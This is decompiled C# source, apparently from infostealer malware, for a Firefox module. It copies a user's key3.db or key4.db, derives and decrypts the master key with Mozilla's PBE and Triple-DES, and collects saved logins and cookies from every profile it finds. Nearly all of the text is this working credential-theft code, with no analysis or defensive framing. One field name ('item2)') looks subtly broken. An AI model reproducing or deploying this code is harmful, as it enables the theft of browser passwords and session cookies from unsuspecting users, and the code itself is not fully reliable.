// Token: 0x060000E8 RID: 232 RVA: 0x00007314 File Offset: 0x00005514
private static byte[] ExtractPrivateKey4(string file)
{
byte[] array = new byte[24];
try
{
Console.WriteLine("Key source file: " + file);
if (!File.Exists(file))
{
Console.WriteLine("Source file UNKNOWN");
return(array);
}
SQLiteManager sqliteManager = new SQLiteManager(file);
sqliteManager.ReadTable("metaData");
string value = sqliteManager.GetValue(0, "item1");
string value2 = sqliteManager.GetValue(0, "item2)");
Asn1DerObject asn1DerObject = new Asn1Der().Parse(Encoding.Default.GetBytes(value2));
byte[] data = asn1DerObject.objects[0].objects[0].objects[1].objects[0].Data;
byte[] data2 = asn1DerObject.objects[0].objects[1].Data;
MozillaPBE mozillaPBE = new MozillaPBE(Encoding.Default.GetBytes(value), Encoding.Default.GetBytes(string.Empty), data);
mozillaPBE.Compute();
string input = TripleDESHelper.DESCBCDecryptor(mozillaPBE.Key, mozillaPBE.IV, data2, PaddingMode.None);
Console.WriteLine(new string('=', 20));
Console.WriteLine("Global salt found for encrypt: [" + FirefoxBase.CalcHex(value) + "]");
Console.WriteLine("Entry salt found for encrypt: [" + FirefoxBase.CalcHex(data) + "]");
Console.WriteLine("СheckPwd key for encrypt : [" + FirefoxBase.CalcHex(mozillaPBE.Key) + "]");
Console.WriteLine("СheckPwd IV for encrypt: [" + FirefoxBase.CalcHex(mozillaPBE.IV) + "]");
Console.WriteLine("Decrypted chiper: [" + FirefoxBase.CalcHex(input) + "]");
Console.WriteLine(new string('=', 20));
sqliteManager.ReadTable("nssPrivate");
int rowCount = sqliteManager.GetRowCount();
string s = string.Empty;
for (int i = 0; i < rowCount; i++)
{
if (sqliteManager.GetValue(i, "a102") == Encoding.Default.GetString(FirefoxBase.MagicNumber1))
{
s = sqliteManager.GetValue(i, "a11");
break;
}
}
Asn1DerObject asn1DerObject2 = new Asn1Der().Parse(Encoding.Default.GetBytes(s));
data = asn1DerObject2.objects[0].objects[0].objects[1].objects[0].Data;
data2 = asn1DerObject2.objects[0].objects[1].Data;
mozillaPBE = new MozillaPBE(Encoding.Default.GetBytes(value), Encoding.Default.GetBytes(string.Empty), data);
mozillaPBE.Compute();
Console.WriteLine(new string('=', 20));
Console.WriteLine("ChiperT found after encrypt: [" + FirefoxBase.CalcHex(data2) + "]");
Console.WriteLine("Global salt found after encrypt: [" + FirefoxBase.CalcHex(value) + "]");
Console.WriteLine("Entry salt found after encrypt: [" + FirefoxBase.CalcHex(data) + "]");
Console.WriteLine("СheckPwd key after encrypt : [" + FirefoxBase.CalcHex(mozillaPBE.Key) + "]");
Console.WriteLine("СheckPwd IV after encrypt: [" + FirefoxBase.CalcHex(mozillaPBE.IV) + "]");
array = Encoding.Default.GetBytes(TripleDESHelper.DESCBCDecryptor(mozillaPBE.Key, mozillaPBE.IV, data2, PaddingMode.PKCS7));
Console.WriteLine("Decrypted private key: [" + FirefoxBase.CalcHex(array) + "]");
Console.WriteLine(new string('=', 20));
}
catch (Exception value3)
{
Console.WriteLine(value3);
}
return(array);
}
// Token: 0x060000E2 RID: 226 RVA: 0x00006D58 File Offset: 0x00004F58
public IEnumerable <BrowserProfile> GetAll()
{
List <BrowserProfile> list = new List <BrowserProfile>();
try
{
foreach (string text in FirefoxBase.ExtractProfiles())
{
BrowserProfile browserProfile = new BrowserProfile
{
Name = "Firefox",
Profile = new DirectoryInfo(text).Name,
BrowserCookies = new List <BrowserCookie>(FirefoxBase.ExtractCookies(text)).IsNull <List <BrowserCookie> >(),
BrowserCredendtials = new List <BrowserCredendtial>(FirefoxBase.ExtractCredentials(text).IsNull <IEnumerable <BrowserCredendtial> >()).IsNull <List <BrowserCredendtial> >()
};
if (browserProfile.BrowserCookies.Count((BrowserCookie x) => x.IsNotNull <BrowserCookie>()) <= 0)
{
if (browserProfile.BrowserCredendtials.Count((BrowserCredendtial x) => x.IsNotNull <BrowserCredendtial>()) <= 0)
{
Console.WriteLine("Profile is empty: " + browserProfile);
continue;
}
}
list.Add(browserProfile);
}
}
catch (Exception value)
{
Console.WriteLine(value);
}
return(list);
}
// Token: 0x060000E3 RID: 227 RVA: 0x00006E88 File Offset: 0x00005088
public static IEnumerable <BrowserCredendtial> ExtractCredentials(string profile)
{
List <BrowserCredendtial> list = new List <BrowserCredendtial>();
try
{
if (File.Exists(Path.Combine(profile, "key3.db")))
{
list.AddRange(FirefoxBase.ExtractLogins(profile, FirefoxBase.ExtractPrivateKey3(ChromiumManager.CreateTempCopy(Path.Combine(profile, "key3.db")))));
}
if (File.Exists(Path.Combine(profile, "key4.db")))
{
list.AddRange(FirefoxBase.ExtractLogins(profile, FirefoxBase.ExtractPrivateKey4(ChromiumManager.CreateTempCopy(Path.Combine(profile, "key4.db")))));
}
}
catch (Exception value)
{
Console.WriteLine(value);
}
return(list);
}
// Token: 0x060000E9 RID: 233 RVA: 0x000076D8 File Offset: 0x000058D8
private static byte[] ExtractPrivateKey3(string file)
{
byte[] array = new byte[24];
try
{
Console.WriteLine("Key source file: " + file);
if (!File.Exists(file))
{
Console.WriteLine("Source file UNKNOWN");
return(array);
}
new DataTable();
Asn1Der asn1Der = new Asn1Der();
BerkeleyDB berkeleyDB = new BerkeleyDB(file);
PasswordCheck passwordCheck = new PasswordCheck(FirefoxBase.FindValueByKey(berkeleyDB, (string x) => x.Equals("password-check")));
string hexString = FirefoxBase.FindValueByKey(berkeleyDB, (string x) => x.Equals("global-salt"));
MozillaPBE mozillaPBE = new MozillaPBE(ByteHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), ByteHelper.ConvertHexStringToByteArray(passwordCheck.EntrySalt));
mozillaPBE.Compute();
TripleDESHelper.DESCBCDecryptor(mozillaPBE.Key, mozillaPBE.IV, ByteHelper.ConvertHexStringToByteArray(passwordCheck.Passwordcheck), PaddingMode.None);
string hexString2 = FirefoxBase.FindValueByKey(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"));
Asn1DerObject asn1DerObject = asn1Der.Parse(ByteHelper.ConvertHexStringToByteArray(hexString2));
MozillaPBE mozillaPBE2 = new MozillaPBE(ByteHelper.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), asn1DerObject.objects[0].objects[0].objects[1].objects[0].Data);
mozillaPBE2.Compute();
byte[] bytes = Encoding.Default.GetBytes(TripleDESHelper.DESCBCDecryptor(mozillaPBE2.Key, mozillaPBE2.IV, asn1DerObject.objects[0].objects[1].Data, PaddingMode.None));
Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes);
Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.objects[0].objects[2].Data);
if (asn1DerObject3.objects[0].objects[3].Data.Length > 24)
{
Array.Copy(asn1DerObject3.objects[0].objects[3].Data, asn1DerObject3.objects[0].objects[3].Data.Length - 24, array, 0, 24);
}
else
{
array = asn1DerObject3.objects[0].objects[3].Data;
}
}
catch
{
}
return(array);
}
// Token: 0x060000E7 RID: 231 RVA: 0x00002691 File Offset: 0x00000891
private static string CalcHex(string input)
{
return(FirefoxBase.CalcHex(Encoding.Default.GetBytes(input)));
}
